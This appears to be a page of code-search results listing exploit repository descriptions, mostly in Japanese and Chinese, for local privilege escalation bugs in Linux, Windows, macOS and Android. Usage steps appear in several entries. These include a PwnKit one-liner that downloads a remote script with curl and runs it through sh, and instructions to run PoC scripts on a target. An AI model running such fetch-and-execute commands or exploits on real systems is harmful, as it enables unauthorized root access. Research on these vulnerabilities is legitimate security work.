40211 matches found
CVE-2026-52943
如何使用本仓库 这是一个针对 skbuff.c 中 use-after-free 漏洞的 Linux 内核本地权限提升 PoC 代码：https://github.com/torvalds/linux/commit/98d0912e9f841e5529a5b89a972805f34cb1c69d vidieo1.webm 这里是 writeup 链接：https://hackmd.io/@mlc0cVjxSwqv0OoxsUYccw/Bk99YYTyzx 你需要开启 cloudfare warp 或 VPN 才能查看 writeup...
NotCVE-2026-0010
概要 脆弱性: Barrier デーモン TCP ポート 24801 を介した、認証なしの IPC による SYSTEM へのローカル権限昇格 ベンダー: debauchee Barrier プロジェクト 製品: Barrier 2.4.0 最終リリース、2021-11-01 CWE: CWE-306: 重要な機能に対する認証の欠如 説明 Barrier の Windows サービス barrierd.exe は LocalSystem としてインストールおよび実行され、認証、クライアント ID 検証、アクセス制御なしで TCP IPC コントロール サーバーを...
CVE-2026-46300
🛡️ CVE-2026-46300 - Fragnesia クリーンで致命的なページキャッシュ攻撃 「Dirty Frag」ファミリーの亜種 📌 概要 CVE-2026-46300 （Fragnesia）は、Linuxカーネルのソケットバッファ処理（skbtrycoalesce）における、XFRM/ESP-in-TCP サブシステム（espintcp ULP）内の高深刻度の論理的欠陥 です。 権限のないローカル攻撃者 は、任意の 読み取り可能な ファイルのカーネルページキャッシュに対して任意のバイト書き込み を実行でき、/usr/bin/su...
CVE-2021-26868
CVE-2021-26868 Windows 10 LPE エクスプロイト...
CVE-2024-1086
CVE-2024-1086 CVE-2024-1086 の汎用ローカル権限昇格 Proof-of-Concept エクスプロイトです。Debian、Ubuntu、KernelCTF を含む、v5.14 から v6.6 までのほとんどの Linux カーネルで動作します。KernelCTF イメージでの成功率は 99.4% です。 https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de ブログ記事 / 解説...
CVE-2026-43503
🚨 CVE-2026-43503 — DirtyClone 共有メモリが安全に共有されなくなるとき。 不適切な伝播によって引き起こされるローカル権限昇格の脆弱性、 SKBFLSHAREDFRAG フラグがLinuxネットワーキングスタック内で発生します。 📖 概要 CVE-2026-43503 は、通称DirtyClone と呼ばれる、Linuxカーネルネットワーキングサブシステムに影響を与える高深刻度のローカル権限昇格（LPE）脆弱性です。...
CVE-2026-31431
🔥 CVE-2026-31431 - 「コピー失敗 !!!」 驚くほどシンプルでありながら致命的な、Linux カーネルにおけるローカル権限昇格 📌 概要 CVE-2026-31431 （通称 「Copy Fail」 ）は、Linux カーネルの暗号サブシステム、特に algifaead インターフェースに影響を与えるローカル権限昇格の脆弱性です。 権限を持たないローカルユーザーがこの欠陥を悪用することで、システム上の任意の読み取り可能なファイル （setuid バイナリを含む）のページキャッシュに対して制御された 4 バイト書き込み を実行し、最終的にroot として任意のコードを実行...
CVE-2026-53694-NoMachine-LPE
CVE-2026-53694: NoMachine における引数インジェクションによるローカル権限昇格 概要 このリポジトリには、Linux 版 NoMachine におけるローカル権限昇格 LPE 脆弱性である CVE-2026-53694 の解説記事と概念実証 PoC が含まれています。 nxchmod.sh スクリプトにおける引数デリミタの不適切な無害化により、ローカルの非特権ユーザーが root として実行されるシステムコマンドに引数を注入できます。この引数インジェクションをシンボリックリンクと組み合わせることで、攻撃者は重要なシステムファイル /etc/passwd など...
cve-2020-0796
CVE-2020-0796 LPE CVE-2020-0796 SMBGhost LPE（ローカル権限昇格） 使用方法 必要に応じてRustをインストールしてください: https://www.rust-lang.org/learn/get-started コードをコンパイル: cargo build --release target/release/ から .exe をターゲットにコピーして実行します。 参考文献...
CVE-2023-42931
CVE-2023-42931 该漏洞利用针对的是 macOS 14.0-14.1.2、13.0-13.6.2、12.0-12.7.1 上的本地权限提升（LPE）漏洞。 用法 chmod +x PoC.sh ./PoC.sh 致谢 该漏洞利用基于以下原始文章的研究：通过 Apple macOS 文件系统实现本地权限提升到 root。 许可证 本项目采用 MIT 许可证授权 - 详情请参阅 LICENSE 文件。...
Exploiting-PwnKit-CVE-2021-4034-
PwnKit CVE-2021-4034 の自己完結型エクスプロイト - Pkexec のローカル権限昇格 使い方 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでそのまま動作するはずです。 sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動実行 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod ...
CVE-2024-0044
CVE 2024 0044 CVE-2024-0044は、PackageInstallerService.javaファイルのcreateSessionInternal関数で特定された、Android...
CVE-2021-1732
CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 ローカル権限昇格脆弱性の研究及びPoc/Exploit開発 影響を受けるシステムとアプリケーションバージョン Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64based Systems Windows 10 Version 20H2 for 32bit Systems Windows 10 Version 20H2 for x64based Systems...
CVE-2020-0796
CVE-2020-0796 Windows SMBv3 LPE エクスプロイト 著者 Daniel García Gutiérrez @danigargu Manuel Blanco Parajón @dialluvioso 参考文献 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796 https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html...
CVE-2021-4034
CVE-2021-4034 Polkit の PoC Polkit とは何か？ Policy Toolkit（または Polkit）は、2009 年のリリース以来、root 権限を持たない攻撃者でも、Polkit パッケージを備えた任意の Linux システム上で簡単に管理アクセスを取得できるようにしています。残念ながら（あるいはそうでないかもしれませんが）、これはほとんどの Linux ディストリビューションにデフォルトでインストールされています。そのため、この脆弱性は広範囲に及ぶものとなっています。...
bazad5
bazad5 OS X 10.10.5 における CVE-2016-1828 を利用したローカル権限昇格...
CVE-2023-4911-PoC
GNU C Libraryの動的ローダーの脆弱性 CVE-2023-4911 概要 GNU C Library glibc は、GNUシステムにおけるCライブラリとして機能し、Linuxベースのシステムに不可欠です。その中核として、glibcは、システムコールやopen、malloc、printf、exitなどの一般的な関数を含む、プログラムに必須の機能を定義しています。glibcの重要な構成要素である動的ローダーは、共有ライブラリを管理し、実行時にそれらをリンクすることで、プログラムの準備と実行において重要な役割を果たします。 GLIBCTUNABLES環境変数...
ptrace_may_dream
ptracemaydream CVE-2026-46333 pidfdgetfd2 の ptracemayaccess mm=NULL 競合状態を悪用したローカル権限昇格エクスプロイトです。 プロセスが終了処理中で mm が既に解放されている場合、カーネルは ptrace アクセスチェックを完全にスキップします。pidfdgetfd をプロセス終了と競合させることで、非特権ユーザーが特権プロセスから開いているファイルディスクリプタを盗むことができます。 このエクスプロイトは accounts-daemon を標的とします。SetIconFile...
CVE-2026-43499-popsicle
CVE-2026-43499 for popsicle このリポジトリには、Xiaomi 17 Pro Max（popsicle）上の Android 16 における CVE-2026-43499 のローカル権限昇格（LPE）実装が含まれています。検証済みカーネル： 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k このカーネルを使用する Xiaomi 17、Pro、Ultra シリーズで全て動作確認済みです。 target の生成 Python 3 と llvm-objdump が必要です： python3...
CVE-2020-14974
CVE-2020-14974 IObitUnlocker 1.1.2 で発見された脆弱性を実証するシンプルな POC です。この脆弱性は、同ソフトの脆弱なドライバー（IObitUnlocker.sys）内で見つかった IOCTL コードを利用し、低権限ユーザーが実行中のファイルをロック解除、削除、名前変更、コピー、移動することを可能にします。 リソース https://nvd.nist.gov/vuln/detail/CVE-2020-14974 https://theevilbit.github.io/posts/iobitunlockerlpe/...